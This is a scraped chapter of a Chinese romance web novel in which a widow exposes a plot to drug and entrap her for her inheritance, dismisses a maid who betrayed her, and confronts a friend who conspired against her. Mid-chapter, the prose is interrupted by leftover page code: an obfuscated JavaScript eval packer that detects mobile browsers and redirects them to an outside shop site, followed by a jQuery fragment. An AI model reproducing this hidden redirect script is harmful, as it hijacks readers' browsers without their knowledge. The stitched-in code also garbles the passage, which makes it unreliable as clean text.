文趣网 > 都市小说 > 引诱权臣当替身 > 18. 主仆一场
    墨京澜从雪洞里出来,见到不远处有一男子从东厢房的方向走来。

    服饰不是府中下人,若是客人,也不会单独来到这后宅之处。且此人神色慌张,像是怕被人发现他的存在。

    墨京东看出他是要打算翻墙离开,遂捡起地上几颗小石子,砸到竹上发出响声,吸引经过的小厮注意。

    “谁在那里?”小厮循着声音找去。

    听到声音的单霁因为心急,还没准备好就掉下去了,他忍着脚上传来的剧痛,一瘸一拐地离开沈府的后方竹林。

    小厮没看到人,但确实听到响声,挠着头走回去。

    一挎着篮子的丫环叫他:“还不到前面收拾桌子,你在看什么?”

    “刚刚这里好像有个人。”

    “哪有人?你糊涂了吧?诶今天府上出了个大事你听说没?”

    “没有。”

    “不知是谁告诉吴老爷说夫人偷汉子!带了好多人闯进夫人的房间,你猜怎么着?”

    “夫人和外男共处一室?”

    “不,房间里一个人没有,夫人是从先老爷的书房里出来,听说她被指控偷汉子,哭得那叫一个伤心,好在现场有几位夫人帮我们夫人主持公道,这才还夫人一个清白。”

    “原来如此,那到底是谁说夫人偷汉子呢?”

    “有没有这个人还不一定呢,你难道不知道吴老爷他早就想把夫人赶走……”

    “小点声,这些不是我们下人能议论的。”

    他们的谈话声渐渐地小了。

    墨京澜听到这些,眼底情绪复杂。

    她在沈府的处境,当真是水深火热。

    亡夫只给她留下的巨额财产,并未给她任何保全财产的方式,到底是帮她,还是害了她?

    墨京澜收回思绪,这些和他没关系,何必提替他人思量,他从假山后走出来,纵身一跃,翻过墙面。

    生辰宴结束,送走府上的宾客后,芙玉回到厅堂里,橘黄色的余晖透过窗棂,给桌椅帘栊蒙上一层暖色。

    可她却觉得自己身处冰天雪窖中,冷得她牙齿发酸。

    她细细地思考今日发生的事情,她出现的时候,吴用已经领着人闯进去,房间里并没有人在里面。

    想来,藏在里面的男人害怕被发现,所以才提前翻窗逃走。

    这件事到底有多少人参与?又到底有多少人觊觎她手中的遗产?

    芙玉掐着眉头,一点点地将如同乱麻的思绪捋出来。

    吴用带人闯她的房间,那时吴用定是以为她在药物的作用下同房间里的男人云雨。

    带宾客们过来是证实了她和他有奸情,她为了名声,只能承认和他情投意合,要嫁给他。

    思及此,芙玉咬着指骨,在她房间的男人很大可能就是单霁,但不排除吴用另找了别的男人藏在她的房间里。

    单霁未在被邀请的名单中。若一个一个盘问府中的下人会很麻烦,而且有可能会查到墨京澜。

    墨京澜,他为什么会出现在沈府?

    她摇了摇头,他不可能和这件事有什么关联。但他出现在沈府确实是一件让人感到困惑的事情。

    芙玉咽了咽并不多的唾沫,坐到太师椅上,她越想越害怕,不知道他们下一次又会使出什么手段?

    这次没有成功,那下下一次呢?她是否又会每次都能化解?

    必须要尽快离开沈家,她下了决心。

    芙玉口中发干,她正想喝水润润喉,就见小桃拿着杯盏过来了。

    “夫人,喝点水吧。”

    知道她买了椿色的人,拿走她装有椿药的金器的人,以及李娇娇送来的礼物也是她亲手拿给她的。

    她倒吸了一口凉气,心底满是遭到身边人背叛的失望。

    “跪下。”

    小桃扑通一声跪在地上,杯盏放在旁边,一副任人打骂也绝不还口的态度。

    芙玉移开眼睛,哪怕有反问一句也好,偏偏就这样什么都不说就跪下了。

    “你不问为什么?还是说,你真的做了对不起我的事情?”

    “奴婢……奴婢对不起夫人。”

    “我不问你,你自己说。”

    “夫人从寺庙回来那天下午,李小姐抓了我弟弟,逼问我夫人是靠什么手段勾引到墨公子。我没办法不听她的话,我起初只是想着拿走夫人的一件金器,不会造成什么后果。后来,后来她又要让我把装有金器的香囊送到夫人的手上,我……我只能照着她的话去做。对不起,夫人,小桃全家人的性命都在她的手上,小桃没有办法,没有办法不去听她的话啊,夫人,小桃不是有意要这么做的。”

    芙玉松开紧攥的手心,用至亲之人的性命要挟,家人是很珍贵。她无法说小桃这么做是错的。

    可她也背叛她了。

    芙玉冷静了一下,又问,“最后一个问题,今日在我房间里的男人是谁?”

    “奴婢不知。”小桃头重重地磕在地上,发出一声闷响。

    芙玉嘴唇上的肉微微颤抖,她很难说出接下来这一句话。

    在今日前,小桃是沈府唯一一个她完全能信任的人。

    她记得小桃对她的所有好,那些都是真情实意,难掺真假。

    那年她嫁给沈阶时,肺病已经相当严重。沈阶停了大夫的诊断,认为乡下庄子里的气候更适合她养病,便遣了十几名丫头妇人在庄子里照顾她。

    庄子里的生活和沈府天差地别,从沈府过来的丫环背地都在咒她早点病死。

    只有小桃每日按照大夫的药方坚持给她煎药,换药,带她出去晒太阳。

    回到沈府后,她能差遣的人更多,但她只信得过小桃,可没想到,连小桃也……

    芙玉想到今天从她手里拿过的锦囊的画面,她站起身,扶起跪在地上的小桃,“起来吧。”

    “您原谅小桃了吗?小桃知道错了,真的不会再犯了。”小桃哭得眼睛红肿,额头处有一块红印,渗出血丝。

    “我不能原谅你的背叛,我们毕竟主仆一场,从前你待我好,我记着,但不代表可以一笔勾销。你走吧,到管事那里拿走你的卖身契,这个月的月俸也会一并结了。”

    小桃肉眼可见地松了口气,不停地磕头,“谢谢夫人,谢谢夫人……”

    芙玉胸口微窒,头也不回地快步走出厅堂。

    她唤了一个丫环来房中,将所有柜子都打开检查,没有丢失任何物件,当然也没有任何异物藏着其中。

    芙玉让两个丫环在门外守夜,两个睡在里面,她躺在床上,辗转反侧,外面一有什么动静,她便坐起来睁大眼睛。

    两个丫环睡得很沉。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698846|208060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她没把她们叫起来,直到什么都没发生后,她才继续躺下。

    睡着后,她开始做梦。

    梦里出现的人只有墨京澜一个,她和他被关在狭小且冰冷的房间。

    他一边抱着她,一边吻她的身体。

    她也吻他的身体,从上到下。

    翌日清早,芙玉睁开眼,眼前是熟悉的屋顶,她翻了一个身,想到自己夜里的春梦内容。

    她用手拍了拍发热的脸,全部忘记才好。

    从床上下来后,因昨日吸入椿色的原因,她头疼得厉害,吃完午饭后只想睡觉。

    不久之前还因为不会作用在身上而沾沾自喜,结果……她也算是自食恶果了。

    她睡到下午,开始让丫环给她梳发打扮。

    到要穿什么时,她开始犯难。

    至今还不知道墨京澜喜欢什么颜色。

    绿色吧。

    沈阶说她穿绿色好看。

    她把书房里找到的沉戟曲的琴谱复看了一遍,检查没有誊抄错误后才卷起来,带上马车。

    香云手里托着大大小小的药包,要穿过街去,没有注意到前面来的马车,差点撞上。

    车夫急忙勒马,“喂!走路没有长眼睛啊?”

    马喷气的声音使得香云受到惊吓,手里的药包全都掉在地上,她忙不迭地道歉。

    芙玉听到声音后,从马车里下来,替香云拾起地上的最后一包药。

    香云见到是她,脸上的表情僵住了一瞬。

    “今日又出来买药了,单公子不陪你出来吗?”她关切地问。

    香云愣了愣,道:“他不慎跌了腿,摔骨折了。”

    她看见香云湿了眼眶,“我送你回府吧。”

    “不用麻烦,你这次出来应该是有事情要做吧,不用浪费时间在我身上。”

    “我有些事要问你。”她握住她的手,不会让她走。

    “我还得回去煎药,有什么事以后再说吧。”

    她盯着香云闪躲的视线,“你越急,就越是证明了你有事情忙着我。”

    “我……”香云噎了噎。

    “到马车上来,我会送你回去,也不会耽误你多少时间。”

    回到马车上。

    芙玉开门见山地说:“单霁他昨日来沈府的事,你可知道?”

    香云下意识地摇摇头,“他去沈府了?他只是说和朋友约了喝茶。”

    面色不像是说谎。

    “沈府后面有片竹林你记得吗?他的腿就是在翻那面墙摔伤的。”

    芙玉顿了顿,“你不想知道他为什么翻墙也要来沈府么?我告诉你吧,他藏在我的房间,准备等我身中异香后与我在房中行事,等吴用带着宾客来到我门口,到时,我为了声誉只能嫁给单霁。”

    “……”香云依旧缄默,眼睑低垂,所有情绪都被遮掩住,唯有手指抓着下裳,指骨因用力而泛白。

    芙玉默了一会,继续低语:“怎么样?这个计划是不是和那天晚上的计划有异曲同工之处?香云姐姐,你怎么能忍心这么对我?”

    “你都知道了,那也就没必要来问我了吧。”香云终于开口,嘴角带着几分苦涩,“是,我知道沈阶给你留了多少遗产,也只到吴用一直在打你遗产的主意,所以我才和他联手,让他帮单霁将你娶进门。”